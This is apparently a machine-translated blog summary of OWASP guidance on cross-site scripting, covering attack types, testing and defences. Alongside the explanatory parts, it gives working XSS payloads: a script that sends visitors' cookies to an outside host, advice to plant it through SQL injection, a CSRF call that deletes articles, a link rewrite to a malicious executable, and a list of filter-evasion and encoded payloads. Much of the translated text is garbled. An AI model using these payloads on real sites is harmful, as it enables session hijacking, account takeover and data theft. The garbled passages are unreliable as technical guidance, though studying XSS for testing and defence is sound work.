The most complete summary of XSS (cross-site scripting attacks)

From the owasp of the official website, plus their own understanding, is a more comprehensive introduction. be interested in communicating privately.

XSS Cross-site scripting attack ===================================================================================================== ===============================================* What is xss** review cross-site Scripting (XSS) is a type of injection problem, and malicious scripts are injected into healthy, trusted websites. An XSS attack occurs when an attacker sends malicious code to a user at the other end of a Web application, in the form of a browser-side script. The flaw that allows this kind of attack to succeed is widespread in every size website, as long as the site has a page that contains the user's input in the dynamic output page it generates and is escaped without validation or encoding. The attacker uses XSS to send a malicious script to a user who is not skeptical, and the client's browser does not know that the script is not trustworthy and executes the JS script. Because the browser considers the script to be from a trustworthy website, the malicious script can access any cookie information, session tokens, or other sensitive information saved by the browser but used by that website, and can even modify the current page content. Storage-type XSS: stored in the database, is permanent unless the database is reset or a malicious statement is manually deleted. The attacker directs the user to a specific page. Reflective XSS: Malicious scripts are not stored in remote site applications and require social engineering collaboration, such as sending links via email or chat software. Mainly used to steal cookies. * * When did the cross-site script occur? -Data through an untrusted source, most of the time is a page request, into the website application. -The data is not verified to contain malicious content and is included in the dynamic content sent to the site user. Malicious content sent to the browser usually exists in the form of a JS script, but it can also be HTML, flash, or any other code that might be executed by the browser. XSS-based attacks are not limited in diversity, and are common for transmitting private data, such as cookies or other conversational information, to attackers, redirecting or luring victims to a page controlled by an attacker, or pretending to be a trustworthy website, directly executing malicious actions on the user's machine. * * Classified XSS attacks are usually divided into two categories: storage and reflective. There is a third class, not so well-known, Dom-based XSS. -Storage-injected scripts are permanently stored in the target server, such as databases, forum posts, access logs, comment comments, and so on. These malicious scripts are obtained when the victim requests information from the server for storage. Storage-type XSS is also known as persistent or I-type XSS. -Reflex injection script from websiteThe server is bounced back, such as error messages, search results, or any other response (these responses fully or partially contain what the user has entered in the browser). Reflex attacks are transmitted to victims, such as mail, or other websites, by other means. When a user is tempted to click on a malicious link, submit a specially constructed form, or browse a malicious site, the injected script is routed to the vulnerable site and reflected to the user's browser, which the browser considers to have been executed by a trusted server. Reflective XSS is also known as non-persistent or ii-type XSS. -dom type of DOM-type XSS is also known as 0-type XSS. The malicious data submitted by the attacker is not explicitly included in the Web server's response page, but is accessed by the JS script on the page as a variable, causing the browser to execute the malicious script represented by the variable in the DOM operation during the rendering page execution of the JS script. This is also categorized as ' Client-side XSS '. In the first two types of XSS attacks, the server's response page explicitly contains malicious content and is categorized as ' Server-side XSS '. * * Attack consequences are the same for both storage, reflective, and DOM types. The difference is the way payload arrives at the server. Don't be foolish to think that a read-only site is immune to reflective XSS. XSS can cause a range of problems, from noise disturbances to full account compromise. Most serious XSS attacks involve a user responding to a cookie disclosure that allows an attacker to hijack a user's session to take over the account. Other disruptive attacks include end-user file leaks, Trojan horse installations, redirecting users to other pages or sites, or modifying page content. A change in a press release or news article caused by an XSS vulnerability could affect the company's share price or weaken consumer confidence. An XSS flaw in a medical site allows an attacker to modify the dosage information leading to an overdose. * * How to determine if a website is vulnerable to an XSS flaw in a Web application is hard to identify and remove. The best way to detect and discover defects is to conduct a security audit of the code, search all possible places where the user's data is being entered, and the data entered will be displayed in the Web server Response page. Note that various HTML tags can be used to transmit malicious scripts. Nessus, Nikto and other tools can help us to sweep the web site of XSS defects, but not enough Chou Hsiang and deep. If a part of the site can be invaded, then other problems are also very likely to exist. **XSS Defense-Defense Handbook Https://www.owasp.org/index.php/XSS_ (cross_site_scripting) _prevention_cheat_ sheet-Chrome plugin for automatic detection of DOM defects http://code.google.com/p/domsnitch/** anti-Injection-Type XSS Test * * * * Overview Reflex injection attacks occur when a user opens a maliciously constructed link or a third-party Web page, the attack string is contained in a constructed URL or in an HTTP parameter, and the Web app is not properly processed and returned to the victim. The reflected attack load is passed and executed through a single request and response. If a Web site has an XSS flaw, it passes the parameters that are included in the request back to the client without validation. The most common approach to this attack is in two steps: design, malicious links that attackers create and test constructs, and social engineering that makes sure that the victim will load the URL through a browser and eventually execute it. In general, the attack code is written using JS, but other languages such as action Script, VB Script, etc. will also be used. Attackers can install keyloggers, steal cookies, paste boards, and change page content (such as download links). One of the main difficulties in preventing XSS vulnerabilities is the appropriate character encoding. In some cases, the Web server cannot filter some character encodings, such as the ability to filter ' <script> ', but cannot filter%3cscript%3e. How to Test * * * black box test black box test contains at least 3 stages:-1, probe input vector. Each page, the tester must determine which variables the site app defines, and how to enter them. These variables also contain hidden or non-explicit inputs such as HTTP parameters, post data, hidden form fields, predefined radio buttons, or check box values. The browser's built-in HTML editor or Web Proxy can be used to review these hidden variables. -2. Analyze each input vector to detect potential vulnerabilities. To detect potential XSS vulnerabilities, testers should construct special padding data for each input vector. Test data can be generated by a fuzzy test tool, automatically generating a list of predefined attack strings, or manually. A list of attacks that evade XSS filtering. 3. For each input tried, the tester determines, based on the feedback page, whether it represents a vulnerability and poses a real threat to the site's security. This requires checking the results page and searching for the input data. Once found, testers can identify specific data that is not encoded, replaced, or filtered. Ideally, all HTML keywords need to be encoded by HTML entities. Several of the key characters that need to be encoded are:{<>& ' "}. For XSS filtering bypass, refer to Https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet. Reflected XSS is blocked when Web site application cleanup input, Web site application firewall, or browser built-in mechanism prevents malicious input. However, testers must assume that browsers do not block such attacks, such as outdated versions, disabled built-in security features, and testing for all possible vulnerabilities. Similarly, the site firewall does notCan guarantee the identification of novel, unknown attacks. An attacker can construct an attack string that is not recognized by the firewall. Therefore, defending against XSS attacks relies primarily on web site applications to clean up untrusted user input. There are several cleanup methods, such as returning errors, filtering, or escaping keywords. At the same time, these precautions have created another weakness: The blacklist could not contain all possible attack strings, whitelist may transition authorization, then the cleanup will fail, resulting in a certain type of input being incorrectly trusted is not cleaned up. Example of an attack test-http://example.com/index.php?user=<script>alert (123) </script>-http://example.com/ Index.php?user=<script>window.onload = function () {var alllinks=document.getelementsbytagname ("a"); Alllinks[0].href = "Http://badexample.com/malicious.exe"; }</script>-Tag attribute value <input type= "text" name= "state" value= "Input_from_user" > "onfocus=" alert ( Document.cookie)-Different syntax or coding "><script>alert (document.cookie) </ScRiPt>"%3cscript%3ealert ( Document.cookie)%3c/script%3e-non-recursive filtering <scr<script>ipt>alert (document.cookie) </script>- Bypass regular filter Mode string $re = "/<script[^>]+src/i"; add extra properties to bypass http://example/?var=<SCRIPT%20a= ">"%20src= "http:// Attacker/xss.js "></SCRIPT>-http parameter Pollutionhttps://www.owasp.org/index.php/testing_for_http_ Parameter_pollution_ (otg-inpval-004) HTTP parameter pollution, there have been several occurrences of a parameter with the same name in a query string or form submission, and Web servers such as Apache resolve protocol parameters in different ways, with inconsistent parameter values used by various components of the site application. * * Storage-type XSS Test * * * Overview Storage-type XSS is the most dangerous cross-site scripting attack. Web applications allow users to store data, and such sites are potentially exposed to such attacks. When the website application collects the input data from the user and then stores it for later use, the input is not properly filtered, and the malicious data is rendered as part of the Site page and is run in the user's browser and has the permission of the user who owns the site application. This vulnerability could be used to implement browser-based attacks:-Hijack a user's browser-captures sensitive information about Web sites viewed by users-port scanning of intranet hosts-browser-based directed post-storage XSS does not need to exploit malicious links, Triggered when a user accesses a page that loads the previously stored XSS code. The attack scenario typically has the following stages:-Attackers store malicious code on the vulnerable page-user authentication through the application-User Access Vulnerability page-malicious code that is executed by the user's browser can combine the browser with frameworks such as beef, XSS ProX, Backframe. These frameworks allow sophisticated scripting to exploit development. This type of attack is especially risky when the user accessing the vulnerability page has higher permissions. For example, when an administrator accesses a vulnerability page, such an attack is automatically performed by the browser. This can expose sensitive information such as session tokens. How to TEST * * * * black box test identifies a stored-type vulnerability similar to the previous test of a reflection-type vulnerability. The first step in entering the form is to find out where the user input will be stored on the backend and will be rendered in front of the display. Typical storage user input places are:-user | configuration, Web application allows users to modify personal configuration details, such as name, nickname, Avatar, address, etc.-shopping basket,-File Manager, application allow file upload-application Preferences-Forum | Message panel, allow users to send messages to each other-blog , allow users to leave a comment-log, if the site application will be the input of some users into the log * * * * Analysis of HTML code user input is stored by the site application, generally in the display as an attribute value of HTML tags. In this step, the most fundamental thing is to understand how the input part is placed in the context of the page when it is rendered. All input parts that may be seen by the administrator need to be tested. For example, background user management in the details of a user, there is mail: <input class= "InputBox" type= "text" name= "email" size= "" value= "[email protected] "/> At this time, you can<input> tag injected with malicious code: <input class= "InputBox" type= "text" name= "email" size= "value=" [email protected] "> Malicious CODE <!--/>***** test can be injected this involves input validation, back-end filtering rules. such as injection: [email protected] "><script>alert (document.cookie) </script>[email protected]%22% 3e%3cscript%3ealert (Document.cookie)%3c%2fscript%3e to ensure that injected data is submitted, it is often necessary to temporarily disable the browser's JS code execution, or modify the requested raw data in the local agent's HTTP editor. However, after submission, may be filtered by the website application, such as script is replaced by a space or empty string, this is a potential filtering signal, of course, there are many techniques to evade filtering. Malicious code stored with stored injected code can be exploited by the Advanced JS Utilization framework, such as beef, Xss-proxy, backframe. A typical beef use scenario involves:-Injecting a JS hook code that can communicate with the attacker's browser using the framework-waiting for site users to access the vulnerability page-control the user's browser beef through the beef console to access the user's cookies, screens, clipboard, and to initiate more sophisticated XSS attacks. If the vulnerability page is accessed by a user with different permissions, the attack is quite effective. File upload if the site app allows file uploads, you'll need to detect if the HTML content can be uploaded. If the HTML or TXT file is allowed, then the XSS payload can be injected. Penetration testers should verify that this upload point allows arbitrary mime types to be set. This design flaw allows the browser's mime to handle the attack incorrectly. For example, seemingly harmless jpg and GIF files contain XSS loads that may be executed when the browser is loaded. This is possible when the MIME should be set to image/gif when it is set to text/html. In this case, the file is created as HTML by the client browser. Forge POST request: Content-disposition:form-data; Name= "Uploadfile1"; Filename= "C:\Documents and Settings\test\desktop\test.gif "Content-type:text/html<script>alert (document.cookie) </script>**dom XSS Test * * * An overview of DOM-type cross-site scripting is actually an XSS bug caused by dynamic content on the browser side. Typical, such as JS, gets the user input and uses it to do something unsafe that causes the injected code to be executed. This article only discusses the XSS vulnerability caused by JS bugs. The DOM, all called the document Object Model, is a structured format that is used to express documents in the browser. The DOM allows dynamic scripting, such as JS, to refer to components in a document, such as form fields, or session tokens. Dom is also implemented by browsers to implement security policies, such as the same-origin policy restricting cross-domain DOM operations. When dynamic content, such as a JS function, is modified by a constructed request, the DOM element can be controlled by the attacker to form an XSS vulnerability. There are few papers published in this area, so there is almost no standard definition of its meaning and formal testing methods. How to test not all XSS bugs requires an attacker to control the dynamic pages returned from the server, but the flooding of the stupid JS code leads to the same result. DOM-XSS can control the execution of code compared to other types of XSS vulnerabilities (the server does not clean up user-submitted parameters, and is passed back to the user's browser and executed). In most cases, DOM-XSS can be executed without the knowledge of the server. For example: <script>document.write ("Site is at:" + Document.location.href + "."); </script> the attacker appends #<script>alert (' XSS ') </script> to the URL of the page, which will pop up when executed. In this example, the appended code is not sent to the server, because the string behind the # is not used by the browser as part of the query string, but as an anchor tag, so there is no need to get in touch with the servers. DOM-XSS's attack consequences are as extensive as other more well-known XSS attacks, with cookies and further malicious script injections, so they should be classified to the same severity level. Black box test DOM-XSS is not necessary because the source code of the front end is always visible and the browser needs to be fetched and executed from the server. Gray box Test JS application is significantly different from other applications because they are generated dynamically by the server, in order to understand what code is being executed, the tester needs to crawl the site to determine the script being executed andWhere the user input is received. Many sites rely on a lot of library functions, stretching out hundreds of lines of code and not internally developed. In this case, top-down testing is often the only viable option because many of the underlying functions have never been used to analyze which are weaknesses that consume too much time. For top-down testing, it is also important to identify where to receive user input. There are two types of user input sources:-Server dynamic write, not allow direct xss-client script object to get the variables below are two examples of server-side insert data into the JS script: var data = "<escaped data from the server>"; var result = SomeFunction ("<escaped data from the server>"); Here are two examples of getting input from a client JS object: var data = Window.location;var RE Sult = SomeFunction (Window.referer), for the JS code, the two ways to get input is basically no difference, it is important that when the input from the server, the server can apply any combination of data, but the JS object to get the input is very good understanding. So, if the JS function in the example above is a weakness, the exploits in the precedent are based on the filtering of the server, and the latter is dependent on the browser's encoding of the Window.referer object. Reference https://code.google.com/p/domxsswiki/wiki/LocationSources In addition, JS scripts are often executed outside the script tag, and many of the previous attack vectors have led to an XSS attack that confirms this. Therefore, it is important to keep an eye on the code in places such as ' event handlers ', ' CSS block with expression ', and so on when crawling sites. Automated testing is weak in identifying and validating DOM-XSS vulnerabilities because he is simply sending a specific payload and trying to review the server's response page. This may work better in a few simple cases, such as when the parameters are reflected back to the user: <script>var pos=document. Url.indexof ("message=") +5;document.write (document. Url.substring (pos,document. Url.length);</script> But the following unnatural example cannot be detected: <script>var NAVAGT = NavigatOr.useragent; if (Navagt.indexof ("MSIE")!=-1) {document.write ("You are using IE as a browser and visiting site:" + document.location.hr EF + ".");} Else{document.write ("You were using an unknown browser."); </script> for this reason, automated tests often fail to detect DOM-XSS vulnerabilities unless the test tool performs additional analysis on client script. Manual testing should be done to examine some areas of code that are useful for attackers. For example, the code is dynamically written to the page, the DOM tree is modified, and even the script is executed directly. Reference http://www.webappsec.org/projects/articles/071105.shtml* can write data to the database, if you can find a user comment or feedback table, it is enough-the HTML and JS code as a string, Use hexadecimal encoding, and then insert inserts into the table using insert at the SQL injection point.    Insert the following JS on the attack page.    var img=document.createelement ("img"); Img.src= "Http://yourweb.com/listen?"    +escape (Document.cookie);    Document.body.appendChild (IMG);    Then you can view the stolen cookie information in the Web log if you want someone to delete an article, you just need to have someone perform (CSRF) var img=document.createelement ("img");    Img.src= "Http://www.myhack58.com/max/admin/admin_news.asp?action=del&id=8"; (Find the URL of the deleted article to replace it) Document.body.appendChild (IMG); *XSS attack heuristic * * No filtering <script>alert (' XSS ') </script>** filter keyword script, but case insensitive <script>alert (' XSS ') </script>** filter the pattern string <*s*c*r*i*p*t, and case sensitive ** HTML coding without fun!!! * Common XSS Attack code * * Anchor tag one sentence execution <script>eval (location.hash.substring (1)) </script></br>** continuation, colon HTML encoding <a href= "Javascript:alert (1)" >click</a> </br>**img tag with event <script>alert (\ ' Bask-slash no change to run\ ') </SCRIPT> "></br><script>alert (' img1 ') </script > "></br><script>alert (' Img2 ') </SCRIPT> "></br>< Script>alert (' img3 ') </script>></br>-js Unicode encoding, HTML decimal, hexadecimal encoding </br></br> </br><script>\u0061\u006c\u0065\u0072\ u0074 (' js-unicode-encoded1111 ') </scrIpt>**data the content of the Web page base64 encoding, such as <a href= "Data:text/html;base64, pgltzybzcmm9ecbvbmvycm9ypwfszxj0kcdiyxnlnjqnkt4= ">test</a></br>**js8 binary, 16-encoded string variable such as" </br> "document.body.innerhtml=" \x61\x6c\x65\x72\x74\x28\x27\x6a\x73\x31\x36\ X8fdb\x5236\x27\x29 ';d ocument.body.innerhtml= ' \74\151\155\147\40\163\162\143\75\42\170\42\40\157\156\145\162\ 162\157\162\75\42\141\154\145\162\164\50\61\51\42\76\74\57\142\162\76 '; Resist xss================================== =============================================================================================================== The ================thinkphp framework has a filter for form submission data, which is escaped by default with HTML entity encoding, which is called the I function. Browser interpreter lexical analysis encountered escaped characters, it is considered that he is not executable, and then to reverse the meaning, and then as the data to display, not as the JS code to execute. Explain it again and you can get it done. For example: In the Firebug with the element review, casually add a space post form submit the transmission code of the Chinese characters by <meta charset> designated,>>> print '%r '% u ' you '. Encode (' UTF8 ') ' \xe4\ Xbd\xa0 ' Transmission for%e4%bd%a0 but the address bar appended URL parameters, Chinese characters default to GBK encoding, here is%c4%e3, for example, you enter the Baidu search box "You were hacked", and then view the Address bar URL parameters.>>> print '%r '% u ' you '. Encode (' GBK ') ' \xc4\xe3 ' against XSS attacks, just two points: 1, all front-end page rendering, try to use Ajax asynchronously, from the background to get the data to display. 2, the front-end submission of data, in the background at the entrance of the HTML keyword HTML code escape. The above can be basically worry-free.

　　

The most complete summary of XSS (cross-site scripting attacks)